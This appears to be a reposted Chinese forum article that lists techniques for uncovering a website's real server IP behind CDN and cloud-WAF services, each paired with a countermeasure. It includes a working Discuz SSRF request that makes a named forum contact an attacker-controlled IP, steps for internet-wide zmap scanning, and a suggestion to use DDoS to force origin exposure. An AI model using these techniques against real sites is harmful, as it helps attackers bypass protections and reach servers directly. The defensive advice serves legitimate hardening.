找到堡垒后的目标--逆向CDN的各种方式总结(干货,附解决方案
國內(nèi)民間中小型網(wǎng)站有常見的"360網(wǎng)站衛(wèi)士","百度云加速","云盾","安全寶"等 和國外這類CDN+云WAF的始祖"cloudflare"?以及 我國各大部級單位網(wǎng)站和各類大型公司所使用的cdn 例如藍汛,網(wǎng)宿等等。
CDN的存在導(dǎo)致滲透測試時無法對web服務(wù)器進行直接攻擊。攻擊掃描等也會被cdn自帶的waf攔截。是任何hacker在滲透時的一大阻礙(個別人會直接攻擊篡改CDN,這時CDN反而成為入口,這種情況這里不講,以后講)。
可以將CDN簡單的理解為 web服務(wù)器的一層外強中干的堡壘,因為其保護作用只能起到表層,一旦被攻擊者獲取服務(wù)器的真實ip CDN則由鎧甲變?yōu)榛实鄣男卵b。
所以講了這么多廢話,要進入正文了,總結(jié)一下各種逆向cdn查找源IP的方式。
第一種:SMTP發(fā)送郵件泄露源站ip
最簡單,常見的方式。大部分公用SMTP服務(wù)在發(fā)信時郵件頭會帶上發(fā)件者ip,這樣導(dǎo)致cdn直接失去對攻擊者的防護意義。
這里用hack80.com來舉個例子,通過多地ping出現(xiàn)的多個ip 可以推斷他部署了cdn類服務(wù)
disucz論壇,我們可以通過注冊賬號 或者找回密碼等 任何可以讓網(wǎng)站發(fā)送一個郵件給我們的方式??來獲取源ip
這里我找回密碼舉例 提交后 ,去我的郵箱中 ,查看該郵件原文
即可獲得web服務(wù)器的源ip。 具體獲得源ip后怎么利用在文末一起總結(jié)
解決方案:使用郵件頭不顯示ip的smtp服務(wù),或者將郵件服務(wù)更改為使用WEBAPI發(fā)送郵件即可。
第二種:子域名與目標(biāo)域名在一個服務(wù)器卻沒做cdn
這種情況也很常見。有些粗心大意的站長 只把自己的主要業(yè)務(wù)域名部署了cdn,而在一個服務(wù)器的子域名卻不部署。
這樣導(dǎo)致黑客只需要獲取一份子域名列表 挨個對子域名的ip與目標(biāo)域名相匹配,直到訪問成功即可
這里我用的是seay法師 大牛的layer子域名爆破程序 ,很好用。論壇內(nèi)有下載地址。需要的可以去看一下
這個方式是很簡單 且 很通用的思路。
解決方案:細心部署,避免子域名裸奔
第三種:泄露IP的程序
這個也很簡單,掃描目標(biāo)web目錄 獲取一個phpinfo 探針類文件 ,基本上都存有服務(wù)器真實ip
在phpinfo里對應(yīng)項為?
?
該方法沒有什么特別多需要介紹的。
解決方案:刪除敏感文件
第四種:域名歷史解析ip
也是一種比較可行的方案,目前國內(nèi)提供該服務(wù)的網(wǎng)站有ip138等,國外有一個更準(zhǔn)確 ,但是我想不起了
一般網(wǎng)站從部署開始到使用cdn都有一個過程,周期如果較長的話 則可以通過這類 歷史解析記錄查詢等方式獲取源站ip。
為避免出現(xiàn)誤差,可以將所有歷史ip采集下來 挨個與當(dāng)前域名匹配。
這種方案受限于 解析變更極少,CDN部署很早。或者域名收錄量太低 等幾種情況
解決方案:cdn部署盡早?減少解析次數(shù)?
第五種:DDOS
說真的這個方式我不知道寫在這里好不好,這個帖子里所寫的方式只有這一種我沒成功過
但是很多大牛都說曾實現(xiàn)過,作為方法收錄。 我也就記載進來了
據(jù)傳(因為本人能力有限并未成功復(fù)現(xiàn)過): 免費cdn在受到的攻擊超過自己所承受的防御時則會將域名回源
但是按本人理解 ddos攻擊域名時cdn商并沒有很好的辦法(二分法屬于一種,但是并不能做到百分百)可以判斷出是具體哪個域名遭到了攻擊。所以本人認為該方案可行性很低
但不排除cdn會將該cdn上部署的所有域名全回源了。
有流量的各位可以試一下 百度云加速和云盾免費版都是防御5GB/S流量,看看超過了到底能不能讓域名回源。
解決方案:換靠譜的cdn。
第六種:SSRF
烏云峰會的時候 豬豬俠曾講過"SSRF是只影響有錢人的漏洞" 但在滲透測試的時候 我們的目標(biāo)并不是個個都是有錢人 有BAT他們那樣大的內(nèi)網(wǎng)?
我們只是簡單的想取一個源站ip,這時候SSRF也能幫我們一把
以discuz舉例 (DZ官方似乎并不把SSRF當(dāng)漏洞,所以該方案可行度很高)
我們這里用春秋論壇做例子,discuz ssrf的exp為(回復(fù)可見):/forum.php?mod=ajax&action=dkwnremkteimg&message=[img=1,1]http://183.60.109.99:3319/aq9w.jpg[/lmg]
這里我用HFS而不用NC做演示 因為HFS可以更容易更直觀的演示
執(zhí)行exp 春秋論壇就會訪問exp內(nèi)jpg文件 我們在HFS上即可查到來訪者ip
該ip即為真實web服務(wù)器ip,針對存在ssrf的網(wǎng)站 這種方法獲取源站ip的準(zhǔn)確度基本為百分百,我們直接訪問ip可以確定
目前針對discuz沒有很好的解決方案。dz不允許php關(guān)閉all url open 官方也沒有推送補丁(如果有請在本帖貼出補丁編號)。
解決方案:針對程序存在ssrf的地方做修改。
第七種(萬能方式):掃描全球ip匹配web內(nèi)容
弱水三千,奈何只取一瓢飲。
在本帖以上方法都不管用的情況下,該方法基本上適用于任何情況
并且也已經(jīng)有先輩成功復(fù)現(xiàn) 使用zmap掃描整個亞洲ip 匹配到wooyun的源站ip
這里我直接貼上先輩復(fù)現(xiàn)內(nèi)容,具體哪位我沒找到,希望知道的人可以聯(lián)系我一下,我補上版權(quán)。
0x1.獲取CNIP
從apnic獲取亞洲區(qū)域所分配到的IP,過濾出CN的IP.
wgetftp://ftp.apnic.net/public/apnic ... egated-apnic-latest
0x2.端口掃描
使用zmap對全CN的IP的80端口進行掃描.
嗯,在我的vps上大概需要20min,所以還是先出去喝杯咖啡
0x3.獲取banner
使用zmap的banner-grab對掃描出來80端口開放的主機進行banner抓取
嗯,在http-req中的Host寫www.wooyun.org,并且使用ulimit將最大文件描述符數(shù)修改為一個較大的值,
直接開掃:
唔,在這里,考慮到www.wooyun.org打開挺慢的,所以將連接超時和讀超時都設(shè)置為30s,這段時間可以出去看電影.
0x4.數(shù)據(jù)處理
使用關(guān)鍵字"80sec"對獲取的數(shù)據(jù)進行簡單過濾
這400+的服務(wù)器,一般可以分為三種:
*baiducdnserver*httpproxyserver*www.wooyun.comserver
可以對這400+服務(wù)器再進行一次banner獲取,不設(shè)置Host,過濾掉baiducdn錯誤頁面,空頁面,超時等亂七八糟的頁面,然后就可以得到結(jié)果了,我去問了一下相關(guān)負責(zé)人www.wooyun.org的真實IP,果不其然
總耗時大概兩個多小時。
0x5.猜想
一些公司的測試服務(wù)器是放在外網(wǎng)的,一般只有綁定了Host才能進行訪問,所以...
0x6.感謝
唔,這主題是從我的vps蜜罐上看到有人設(shè)置一些莫名其妙的Host得出的猜想.thx
思路很棒,如果要防御這種模式也并不困難。
解決方案:我們可以將web設(shè)置為只對cdnip響應(yīng)正常頁面內(nèi)容 對cdnip以外的ip均設(shè)置為 黑名單 訪問返回錯誤即可。
應(yīng)該是有更好的解決方案的,但是我太瞌睡了實在是不想想這個方法的解決方案了。。。
總結(jié)一下獲取到源站ip后如何利用。
對于攻擊者而言 最簡單的就是將源站ip直接HOST綁定到目標(biāo)域名上 ,這樣在訪問時即可繞過CDN 直接訪問源站 進行攻擊時也不會受到CDN限制。
到這里為止常見的好用的套路基本都講完了。
本人總結(jié)的一條經(jīng)驗:任何讓服務(wù)器主動發(fā)起請求連接攻擊者的方式 都可能導(dǎo)致服務(wù)器不安全。
總結(jié)
以上是生活随笔為你收集整理的找到堡垒后的目标--逆向CDN的各种方式总结(干货,附解决方案的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 读书笔记-可靠性工程师前言
- 下一篇: TF卡里删掉文件后内存没变大_不用第三方